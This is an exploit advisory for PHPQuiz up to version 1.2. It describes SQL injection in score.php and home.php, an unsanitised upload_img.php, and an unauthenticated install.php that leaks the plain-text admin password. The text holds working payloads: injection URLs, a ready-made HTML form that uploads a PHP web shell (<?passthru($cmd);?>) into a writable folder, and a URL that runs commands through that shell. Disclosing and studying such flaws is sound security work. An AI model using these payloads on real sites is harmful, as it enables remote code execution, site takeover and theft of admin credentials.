# Title: PHPQuiz <= v.1.2 Remote SQL injection/Code Execution Exploit
# Vendor : PHPQuiz
# webiste : http://www.phpquiz.com
# Version : <= v.1.2
# Severity: Critical
# Author: Simo64 / simo64_at_morx_org
# MorX Security Reseach Team
# http://www.morx.org
# http://www.morx.org/phpquiz.txt
#
# Details :
#
# SQL injection in score.php
#***************************
#
# univers var in score.php and quiz_id var in home.php are not proprely verified and can be used to inject query
#
# PoC : http://localhost/phpquiz/front/?what=score&univers=[SQL]
# http://localhost/phpquiz/front/?quiz=quiz&univers=1&step=1&quiz_id=[SQL]
#
# Arbitary File Upload
#**********************
# vulnerable code in back/upload_img.php and admin/upload_img.php near lines 74-76
#
# 74 if (($upload) && ($ok_update == "yes")) {
# 75
# 76 if(@copy($image, $path)){
# 77 .....
#
# $upload , $ok_update , $image , $path variables are not sanitized and can be used to upload files
#
# PoC Exploit :
#
# <form enctype="multipart/form-data" method="post" action="http://localhost/phpquiz/back/upload_img.php?upload=1&ok_update=yes&path=./../img_quiz/l3ez.php">
# Download File<br>
# <input name="image" type="file" size="20"><br>
# <input type="submit" name="upload" value="Upload"><form>
#
# phpquiz/img_quiz/ folder is by defaut writable so after uploading a simple phpshell <?passthru($cmd);?>
#
# we can lanche cmd from : http://localhost/phpquiz/img_quiz/l3ez.php?cmd=ls
#
# PHP Code Injection
#********************
#
# cfgphpquiz/install.php is accessible without authentification , the script is used to
# save configuration setting in config.inc.php.
#
# Impact:
# any remote user can post php code to the vulnerable file, view current configuration which contains sensitive information # such as admin password (plain text) and login
